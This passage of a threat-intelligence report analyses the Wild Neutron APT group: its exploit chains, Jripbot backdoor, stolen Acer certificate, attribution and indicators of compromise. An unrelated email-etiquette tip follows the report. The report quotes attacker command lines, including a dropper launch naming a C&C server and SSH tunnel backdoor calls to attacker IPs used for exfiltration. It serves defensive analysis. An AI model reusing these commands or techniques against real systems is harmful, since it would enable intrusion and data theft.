In particular, two of these stand out: “community.flexispy[.]com” and “ansar1[.]info“. The first one is a community ran by Flexispy, a company that sells spyware for mobile devices. The second one is a Jihadist forum that is currently closed.

ansar1[.]info was injected by Wild Neutron in 2013

Back in 2013, the attackers also leveraged a Mac OS X backdoor, known as OSX/Pintsized. This is also described in more detail in Eric Romang’s excellent blog. The same backdoor, compiled for Win32, is still being used in the 2015 attacks.

#WildNeutron is one of the most unusual APT group we've analysed and tracked

Tweet

Some of the more prominent victims of the 2013 attack include Twitter, Facebook, Apple and Microsoft. These breaches were covered widely by the press and some affect companies, issued statements on the incident (see Facebook’s statement).

The targeting of major IT companies like Facebook, Twitter, Apple and Microsoft is unusual, however, it’s not entirely unique. The lack of victims in other sectors, such as diplomatic or government institutions, is however quite unusual. This makes us believe this is not a nation-state sponsored attack.

Technical analysis

The malware set used by the Wild Neutron threat actor has several component groups, including:

  • A main backdoor module that initiates the first communication with C&C server
  • Several information gathering modules
  • Exploitation tools
  • SSH-based exfiltration tools
  • Intermediate loaders and droppers that decrypt and run the payloads

Although customized, some of the modules seem to be heavily based on open source tools (e.g. the password dumper resembles the code of Mimikatz and Pass-The-Hash Toolkit) and commercial malware (HTTPS proxy module is practically identical to the one that is used by Hesperbot).

Although customized, some of the modules seem to be heavily based on open source tools #WildNeutron

Tweet

All C&C communication is encrypted with a custom protocol. Dropped executables, as well as some of the hardcoded strings are usually obfuscated with XOR (depends on bot version). The main backdoor module contains a number of evasion techniques, designed to detect or time out sandboxes and emulation engines.

Exploitation – 2015

The initial infection vector from the 2014-2015 attacks is still unknown, although there are clear indications that the victims are exploited by a kit that leverages an unknown Flash Player exploit.

The following exploitation chain was observed in one of the attacks:

Site hxxp://cryptomag.mediasource.ch/ Paths /favicon.ico
/msie9html5.jpg
/loader-large.gif
/bootstrap.min.css
/stats.js?d=1434374526478
/autoload.js?styleid=20&langid=5&sid=883f2efa&d=1434374526
/banner.html?styleid=19&langid=23&sid=883f2efa&d=1434374526
/883f2efa/bniqligx.swf?styleid=4&langid=6&sid=883f2efa&d=1434374533
/883f2efa/pzixfgne?styleid=5&langid=25&sid=883f2efa&d=1434374533
/883f2efa/bniqligx.swf?styleid=4&langid=6&sid=883f2efa&d=1434374533/
/background.jpg

The subdomain cryptomag.mediasource[.]ch appears to have been created for this attack; it pointed to an IP address associated with other Wild Neutron C&Cs, highlighted in red below:

Hosts resolving to 66.55.133[.]89

While app.cloudprotect[.]eu and ssl.cloudprotect[.]eu are two known Wild Neutron C&Cs, cryptomag.mediasource[.]ch appears to have been pointed to this IP for the purpose of exploitation. Another suspicious domain can be observed above, secure.pdf-info[.]com. We haven’t seen any attacks connected with his hostname yet, however, the name scheme indicates this is also malicious.

In another attack, we observed a similar exploitation chain, however hosted on a different website, hxxp://find.a-job.today/.

In both cases, the visitors browsed the website, or arrived via what appears to have been an online advertisement. From there, “autoload.js” appears in both cases, which redirects to another randomly named HTML file, which eventually loads a randomly named SWF file.

While the group used watering hole attacks in 2013, it’s still unclear how victims get redirected to the exploitation kits in the new 2014-2015 attacks. Instead of Flash exploits, older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013, detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b.

The main malware dropper

The functionality of the main dropper is relatively simple: it decrypts the backdoor executable (stored as a resource and encrypted with a simple XOR 0x66), writes it to a specified path and then executes it with parameters that are hardcoded in the dropper body. One of the parameters is the URL address of the C&C server, while others contain various bot configuration options.

Example parameters used by the dropper:

igfxupt.exe https://app.cloudprotect[.]eu:443 /opts resolv=logs.cloudprotect[.]eu

After executing the main backdoor, the dropper is securely deleted by overwriting its content with random numbers several times before renaming and removing the file.

The main backdoor (aka “Jripbot”)

This binary is executed with a parameter that the URL address of the C&C server and optionally an initial bot configuration; this information is then double-encrypted – first with RC4 and then with Windows CryptProtectData function – and saved to the registry.

Before performing any other activity, the malware first runs its stalling code (designed to outrun the emulators), then performs several anti-sandboxing checks and enters an infinite loop if any unwanted software running in the system is detected.

Otherwise, it gathers some basic system information:

  • Version of the operating system
  • If program is running under WOW64
  • If current user has administrator privileges
  • Which security features of Windows are enabled
  • Username and computer name
  • Server name and LAN group
  • Information about logical drives
  • System uptime and idle time
  • Default web browser
  • Proxy settings

Based on some of this information, malware generates a unique ID for the victim and starts the C&C communication by sending the ID value and awaiting commands.

Backdoor configuration options may include proxy server address and credentials, sleeptime/delay values and connection type, but the most interesting option is the resolv=[url] option. If this option is set, the malware generates a domain name consisting of computer name, unique ID and and the URL passed with this option; then it tries to resolve the IP address of this domain. We suspect this is the method the attackers use to send the generated UID to the C&C.

Commands from the C&C may instruct the bot to perform following actions:

  • Change the current directory to the requested one
  • Execute an arbitrary command in the command line
  • Set the autorun value for itself in the registry
  • Delete the autorun value for itself in the registry
  • Shred requested file (overwrite the file content with random numbers, overwrite the file name with zeroes and then delete it)
  • Download file from the Internet and save it (optionally encrypted) to the disk
  • Install or uninstall additional malware plugins
  • Collect and send system information
  • Enumerate drives
  • Set sleeptime value
  • Update the configuration
  • Update itself
  • Quit

Older versions of this backdoor, used in the 2013 attacks, had a bit more functionality:

  • Password harvesting
  • Port scanning
  • Collecting screenshots
  • Pushing files to C&C
  • Reverse shell

These features were removed from the newer backdoor versions that are used in recent attacks. Instead, malware developers decided to implement a plugin mechanism and run different tools for different tasks. This suggests a clear shift towards more flexible modular architecture.

#WildNeutron hide the C&C address by encrypting it in the registry with machine-dependent information

Tweet

In terms of functionality, the main backdoor is no different from many other Remote Access Tools (RATs). What really stands out is the attacker’s carefulness to hide the C&C address, by encrypting it in the registry with machine-dependent information. Also notable is the ability to recover from a C&C shutdown by contacting a dynamically generated domain name, which only the attackers know in advance, as it is directly tied to each unique victim.

According to the timestamp of the samples the distribution is as follows:

Each backdoor appears to contain an internal version number, which ranges from 11000 to 16000 in the latest samples. This allows us to trace the following evolutionary map:

Backdoors used in the 2013 attacks:

MD5 Timestamp Version Filename Size 1582d68144de2808b518934f0a02bfd6 29 Nov 2012 11000 javacpl.exe 327168 14ba21a3a0081ef60e676fd4945a8bdc 30 Nov 2012 12000 javacpl.exe 329728 0fa3657af06a8cc8ef14c445acd92c0f 09 Jan 2013 13000 javacpl.exe 343552

Backdoors used in 2014 and 2015 attacks:

MD5 Timestamp Version Filename Size 95ffe4ab4b158602917dd2a999a8caf8 13 Dec 2013 14014 LiveUpdater.exe 302592 342887a7ec6b9f709adcb81fef0d30a3 20 Jun 2014 15013 FlashUtil.exe 302592 dee8297785b70f490cc00c0763e31b69 02 Aug 2013
(possibly fake) 16010 IgfxUpt.exe 291328 f0fff29391e7c2e7b13eb4a806276a84 27 Oct 2014 16017 RtlUpd.exe 253952

The installers also have a version number, which indicates the following evolution:

MD5 Timestamp Version 1f5f5db7b15fe672e8db091d9a291df0 16 Dec 2011 1.4.1 48319e9166cda8f605f9dce36f115bc8 28 Sep 2012 1.5.0 088472f712d1491783bbad87bcc17c48 12 Apr 2013 1.6.3 ee24a7ad8d137e54b854095188de0bbf 07 Jan 2014 1.6.4 Lateral movement

After installing the main backdoor and establishing initial C2 communication, the attackers use a range of different tools to extract sensitive data and control the victim’s machine. These tools include a password harvesting trojan, a reverse-shell backdoor and customized implementations of OpenSSH, WMIC and SMB. Sometimes, they only drop a simple perl reverse shell and use various collection methods to retrieve credentials from a set of machines, escalate privileges, and fan out across a network from there. Besides these tools, there is also a number of small utility modules of different functionalities, from loaders and configuration tools, to file shredders and network proxies.

It’s also worth noting that this threat actor heavily relies on already existing code, using publicly available open source applications, as well as Metasploit tools and leaked malware sources, to build its own toolset. Some of these tools are designed to work under Cygwin and come together with the Cygwin API DLL, which may suggest that the attackers feel more comfortable when working in a Linux-like environment.

SSH tunnel backdoor

During the 2014/2015 attacks, we observed the attackers deploying custom, OpenSSH-based Win32 tunnel backdoors that are used to exfiltrate large amounts of data in a reliable manner. These tunnel backdoors are written as “updt.dat” and executed with two parameters, -z and -p. These specify the IP to connect to and the port. Despite the port number 443, the connection is SSH:

  • /d /u /c updt.dat -z 185.10.58.181 -p 443
  • /d /u /c updt.dat -z 46.183.217.132 -p 443
  • /d /u /c updt.dat -z 217.23.6.13 -p 443

For authentication, the SSH tunnel backdoor contains a hardcoded RSA private key.

Stolen certificate

During the 2015 attacks, Wild Neutron used a dropper signed with a stolen, yet valid Acer Incorporated certificate.

Acer signature on Wild Neutron dropper

The abused certificate has the following properties:

Serial: 5c c5 3b a3 e8 31 a7 df dc 7c 28 d5 15 8f c3 80
Thumbprint: 0d 85 91 41 ee 9a 0c 6e 72 5f fe 6b cf c9 9f 3e fc c3 fc 07

The dropper (dbb0ea0436f70f2a178a60c4d8b791b3) appears to have been signed on June 15, 2015. It drops a Jripbot backdoor as “IgfxUpt.exe” and configures it to use the C&C “app.cloudprotect[.]eu”.

#WildNeutron used a dropper signed with a stolen, yet valid Acer Incorporated certificate

Tweet

We have contacted Verisign and requested revocation of the certificate.

Victims and statistics

The Wild Neutron attacks appear to have a highly targeted nature. During our investigation, we have been able to identify several victims across 11 countries:

  • France
  • Russia
  • Switzerland
  • Germany
  • Austria
  • Palestine
  • Slovenia
  • Kazakhstan
  • UAE
  • Algeria
  • United States

The victims for the 2014-2015 versions are generally IT and real estate/investment companies and in both cases, a small number of computers have been infected throughout the organizations. The attackers appear to have updated the malware implant and deployed some additional tools, however, we haven’t observed serious lateral movement in these cases.

Attribution

The targeting of various companies, without a government focus, makes us believe this is not a nation state sponsored APT. The attackers have also shown an interest in investment related targets, which indicate knowledge and skills to exploit such information on the market to turn it into financial advantages.

In some of the samples, the encrypted configuration includes a Romanian language string #WildNeutron

Tweet

In some of the samples, the encrypted configuration includes a Romanian language string, which is used to mark the end of the C&C communication:

Interestingly, “La revedere” means “goodbye” in Romanian. In addition to that, we found another non-English string which is the latin transcription of the russian word Успешно (“uspeshno” -> “successfully”); this string is written to a pipe after executing a C2 command.

We found another non-English string which is the latin transcription of the russian word #WildNeutron

Tweet

One of the samples has an internal name of “WinRAT-Win32-Release.exe”. This seems to indicate the authors are calling the malware “WinRAT”.

More information about the Wild Neutron attribution is available to Kaspersky Intelligence Services customers. Contact: intelreports@kaspersky.com

Conclusions

Compared to other APT groups, Wild Neutron is one of the most unusual ones we’ve analysed and tracked. Active since 2011, the group has been using at least one zero-day exploit, custom malware and tools and managed to keep a relatively solid opsec which so far eluded most attribution efforts. Their targeting of major IT companies, spyware developers (FlexiSPY), jihadist forums (the “Ansar Al-Mujahideen English Forum”) and Bitcoin companies indicate a flexible yet unusual mindset and interests.

Some of group’s distinctive features include:

  • Use of open source tools and leaked sources of other malware
  • Use of stolen certificate from Acer Incorporated to sign malware
  • Use of cross platform zero-day exploit (Java and Flash) followed by cross platform payload reverse shell (Perl) for initial penetration
  • Use of *NIX code ported to Windows through Cygwin
  • Heavy use of SSH for exfiltration, a commonly used *NIX administration tool
  • Use of CryptProtectData API to keep C&C URLs secret
  • Simple command line interface, built around all malware components, utilizing named pipes for communication between modules;
  • Auxiliary tools are written in C and most of them contain a built-in help, which may be printed by executing the binary with a “–pleh” parameter

We continue to track the Wild Neutron group, which is still active as of June 2015.

Kaspersky products detect the malware used in the attacks as:
HEUR:Trojan.Win32.WildNeutron.gen, Trojan.Win32.WildNeutron.*, Trojan.Win32.JripBot.*, HEUR:Trojan.Win32.Generic

Indicators of Compromise (IOCs) Known malicious hostnames and domains:

ddosprotected.eu
updatesoft.eu
app.cloudprotect.eu
fw.ddosprotected.eu
logs.cloudprotect.eu
ssl.cloudprotect.eu
ssl.updatesoft.eu
adb.strangled.net
digitalinsight-ltd.com
ads.digitalinsight-ltd.com
cache.cloudbox-storage.com
cloudbox-storage.com
clust12-akmai.net
corp-aapl.com
fb.clust12-akmai.net
fbcbn.net
img.digitalinsight-ltd.com
jdk-update.com
liveanalytics.org
min.liveanalytics.org
pop.digitalinsight-ltd.com
ww1.jdk-update.com
find.a-job.today
cryptomag.mediasource.ch

Known malicious IPs:

185.10.58.181
46.183.217.132
64.187.225.231
62.113.238.104
66.55.133.89
217.23.6.13

Known file names:

%APPDATA%\Roaming\FlashUtil.exe
%APPDATA%\Roaming\Acer\LiveUpdater.exe
%APPDATA%\Roaming\Realtek\RtlUpd.exe
%ProgramData%\Realtek\RtlUpd.exe
%APPDATA%\Roaming\sqlite3.dll (UPX packed)
%WINDIR%\winsession.dll
%APPDATA%\appdata\local\temp\teamviewer\version9\update.exe
%SYSTEMROOT%\temp\_dbg.tmp
%SYSTEMROOT%\temp\ok.tmp
C:\windows\temp\debug.txt
C:\windows\syswow64\mshtaex.exe
%SYSROOT%\System32\mshtaex.exe
%SYSROOT%\System32\wdigestEx.dll
%SYSROOT%\System32\dpcore16t.dll
%SYSROOT%\System32\iastor32.exe
%SYSROOT%\System32\mspool.dll
%SYSROOT%\System32\msvcse.exe
%SYSROOT%\System32\mspool.exe
C:\Program Files (x86)\LNVSuite\LnrAuth.dll
C:\Program Files (x86)\LNVSuite\LnrAuthSvc.dll
C:\Program Files (x86)\LNVSuite\LnrUpdt.exe
C:\Program Files (x86)\LNVSuite\LnrUpdtP.exe
DF39527~.tmp

Named pipes:

\\.\pipe\winsession
\\.\pipe\lsassw

Events & mutexes:

Global\LnrRTPDispatchEvents
_Winlogon_TCP_Service

Email and Emotions

SANS Tip-of-the-Day - Tue, 07/07/2015 - 22:04
Never send an email when you are angry; you will most likely regret it later. Instead, when you are emotional and want to reply to someone, open up an email and write everything you feel, but do not send it. (Be sure there is no name in the TO field so that you do not accidently send it.) After you have vented, save the email and come back an hour later. You only want to reply to any type of emotional situation after you have had time to cool down.

Pages

Subscribe to RIT Information Security aggregator